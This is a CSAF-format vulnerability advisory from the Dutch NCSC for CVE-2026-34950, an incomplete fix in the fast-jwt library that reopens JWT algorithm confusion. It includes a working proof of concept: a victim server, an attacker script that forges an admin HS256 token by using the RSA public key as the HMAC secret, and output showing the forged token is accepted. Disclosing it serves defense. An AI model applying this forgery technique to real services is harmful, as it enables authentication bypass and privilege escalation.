{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-34950",
        "tracking": {
            "current_release_date": "2026-04-02T20:54:31.399768Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-34950",
            "initial_release_date": "2026-04-02T20:52:56.235112Z",
            "revision_history": [
                {
                    "date": "2026-04-02T20:52:56.235112Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-04-02T20:53:03.266221Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                }
            ],
            "status": "interim",
            "version": "2"
        }
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-34950",
            "cwe": {
                "id": "CWE-327",
                "name": "Use of a Broken or Risky Cryptographic Algorithm"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "### Summary\n The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.\n\n### Details\n The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a\n  plain string used with .includes() to a regex used with .match():\n\n```\n  // Before fix (vulnerable to original CVE)\n  const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'\n  // .includes() matched anywhere in the string — not vulnerable to whitespace\n\n  // After fix (current code, line 28)\n  const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/\n  // ^ anchor requires match at position 0 — defeated by leading whitespace\n\n  In performDetectPublicKeyAlgorithms()\n  (https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):\n\n  function performDetectPublicKeyAlgorithms(key) {\n    const publicKeyPemMatch = key.match(publicKeyPemMatcher)  // no .trim()!\n\n    if (key.match(privateKeyPemMatcher)) {\n      throw ...\n    } else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') {\n      return rsaAlgorithms      // ← correct path: restricts to RS/PS algorithms\n    } else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) {\n      return hsAlgorithms        // ← VULNERABLE: RSA key falls through here\n    }\n\n```\n  When the key string has any leading whitespace (space, tab, \\n, \\r\\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA\n  public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the\n  HMAC secret — the exact same attack as CVE-2023-48223.\n\n  Notably, the private key detection function does call .trim() before matching\n  https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79:\nconst pemData = key.trim().match(privateKeyPemMatcher)  // trims — not vulnerable\n\n  The public key path does not. This inconsistency is the root cause.\n\n  Leading whitespace in PEM key strings is common in real-world deployments:\n  - PostgreSQL/MySQL text columns often return strings with leading newlines\n  - YAML multiline strings (|, >) can introduce leading whitespace\n  - Environment variables with embedded newlines\n  - Copy-paste into configuration files\n\n### PoC\n Victim server (server.js):\n\n```\n  const http = require('node:http');\n  const { generateKeyPairSync } = require('node:crypto');\n  const fs = require('node:fs');\n  const path = require('node:path');\n  const { createSigner, createVerifier } = require('fast-jwt');\n\n  const port = 3000;\n\n  // Generate RSA key pair\n  const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });\n  const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });\n  const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });\n\n  // Simulate real-world scenario: key retrieved from database with leading newline\n  const publicKeyFromDB = '\\n' + publicKeyPem;\n\n  // Write public key to disk so attacker can recover it\n  fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);\n\n  const server = http.createServer((req, res) => {\n    const url = new URL(req.url, `http://localhost:${port}`);\n\n    // Endpoint to generate a JWT token with admin: false\n    if (url.pathname === '/generateToken') {\n      const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };\n      const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });\n      const token = signSync(payload);\n      res.writeHead(200, { 'Content-Type': 'application/json' });\n      res.end(JSON.stringify({ token }));\n      return;\n    }\n\n    // Endpoint to check if you are the admin or not\n    if (url.pathname === '/checkAdmin') {\n      const token = url.searchParams.get('token');\n      try {\n        const verifySync = createVerifier({ key: publicKeyFromDB });\n        const payload = verifySync(token);\n        res.writeHead(200, { 'Content-Type': 'application/json' });\n        res.end(JSON.stringify(payload));\n      } catch (err) {\n        res.writeHead(401, { 'Content-Type': 'application/json' });\n        res.end(JSON.stringify({ error: err.message }));\n      }\n      return;\n    }\n\n    res.writeHead(404);\n    res.end('Not found');\n  });\n\n  server.listen(port, () => console.log(`Server running on http://localhost:${port}`));\n```\n\n  Attacker script (attacker.js):\n\n```\n  const { createHmac } = require('node:crypto');\n  const fs = require('node:fs');\n  const path = require('node:path');\n\n  const serverUrl = 'http://localhost:3000';\n\n  async function main() {\n    // Step 1: Get a legitimate token\n    const res = await fetch(`${serverUrl}/generateToken?name=attacker`);\n    const { token: legitimateToken } = await res.json();\n    console.log('Legitimate token payload:',\n      JSON.parse(Buffer.from(legitimateToken.split('.')[1], 'base64url')));\n\n    // Step 2: Recover the public key\n    // (In the original advisory: python3 jwt_forgery.py token1 token2)\n    const publicKey = fs.readFileSync(path.join(__dirname, 'public_key.pem'), 'utf8');\n\n    // Step 3: Forge an HS256 token with admin: true\n    // (In the original advisory: python jwt_tool.py --exploit k -pk public_key token)\n    const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');\n    const payload = Buffer.from(JSON.stringify({\n      admin: true, name: 'attacker',\n      iat: Math.floor(Date.now() / 1000),\n      exp: Math.floor(Date.now() / 1000) + 3600\n    })).toString('base64url');\n    const signature = createHmac('sha256', publicKey)\n      .update(header + '.' + payload).digest('base64url');\n    const forgedToken = header + '.' + payload + '.' + signature;\n\n    // Step 4: Present forged token to /checkAdmin\n    // 4a. Legitimate RS256 token — REJECTED\n    const legRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(legitimateToken)}`);\n    console.log('Legitimate RS256 token:', legRes.status, await legRes.json());\n\n    // 4b. Forged HS256 token — ACCEPTED\n    const forgedRes = await fetch(`${serverUrl}/checkAdmin?token=${encodeURIComponent(forgedToken)}`);\n    console.log('Forged HS256 token:', forgedRes.status, await forgedRes.json());\n  }\n\n  main().catch(console.error);\n```\n\n  Running the PoC:\n  # Terminal 1\n  node server.js\n\n  # Terminal 2\n  node attacker.js\n\n  Output:\n  Legitimate token payload: { admin: false, name: 'attacker', iat: 1774307691 }\n  Legitimate RS256 token: 401 { error: 'The token algorithm is invalid.' }\n  Forged HS256 token: 200 { admin: true, name: 'attacker', iat: 1774307691, exp: 1774311291 }\n\n  The legitimate RS256 token is rejected (the key is misclassified so RS256 is not in the allowed algorithms), while the attacker's\n  forged HS256 token is accepted with admin: true.\n\n\n### Impact\nApplications using the RS256 algorithm, a public key with any leading whitespace before the PEM header, and calling the verify\nfunction without explicitly providing an algorithm, are vulnerable to this algorithm confusion attack which allows attackers to\nsign arbitrary payloads which will be accepted by the verifier.\nThis is a direct bypass of the fix for CVE-2023-48223 / GHSA-c2ff-88x2-x9pg. The attack requirements are identical to the original\nCVE: the attacker only needs knowledge of the server's RSA public key (which is public by definition).",
                    "title": "github - https://api.github.com/advisories/GHSA-mvf2-f6gm-w987"
                },
                {
                    "category": "other",
                    "text": "3.7",
                    "title": "NCSC Score"
                }
            ],
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-mvf2-f6gm-w987"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-mvf2-f6gm-w987"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-c2ff-88x2-x9pg"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-mvf2-f6gm-w987"
                }
            ],
            "title": "CVE-2026-34950"
        }
    ]
}